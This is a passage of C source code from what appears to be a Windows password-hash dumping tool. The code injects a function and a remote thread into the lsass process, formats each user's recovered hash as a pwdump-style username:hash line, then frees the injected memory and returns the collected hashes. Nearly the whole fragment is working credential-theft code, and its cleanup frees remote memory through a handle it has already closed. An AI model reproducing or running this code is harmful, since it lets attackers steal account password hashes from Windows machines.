					if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1)
                    && (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
                    sprintf( NTdata, "NO PASSWORD*********************" );
				*/
				_snprintf(buffer, 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
				hashstring = StringCombine(hashstring, buffer);
				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
			}

			hashstring = StringCombine(hashstring, ":::\n");
			//printf(":::\n");
		}
	} while(0);

	/* relesase the event objects */
	if (hReadLock) { CloseHandle(hReadLock); }
	if (hFreeLock) { CloseHandle(hFreeLock); }

	/* close handle to lsass */
	if (hLsassHandle) { CloseHandle(hLsassHandle); }

	/* free the context structure and the injected function and the results */
	if (pvParameterMemory) { VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE); }
	if (pvFunctionMemory) { VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE); }

	/* free the remote thread handle */
	if (hThreadHandle) { CloseHandle(hThreadHandle); }

	/* free the results structure including individually malloced space for usernames */
	if (UsernameHashResults) { 
		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
			if (UsernameHashResults[dwCurrentUserIndex].Username) {
				free(UsernameHashResults[dwCurrentUserIndex].Username);
			}
		}
		free(UsernameHashResults); 
	}

	/* return hashresults */
	*hashresults = hashstring;

	/* return the correct code */
	return dwError;
}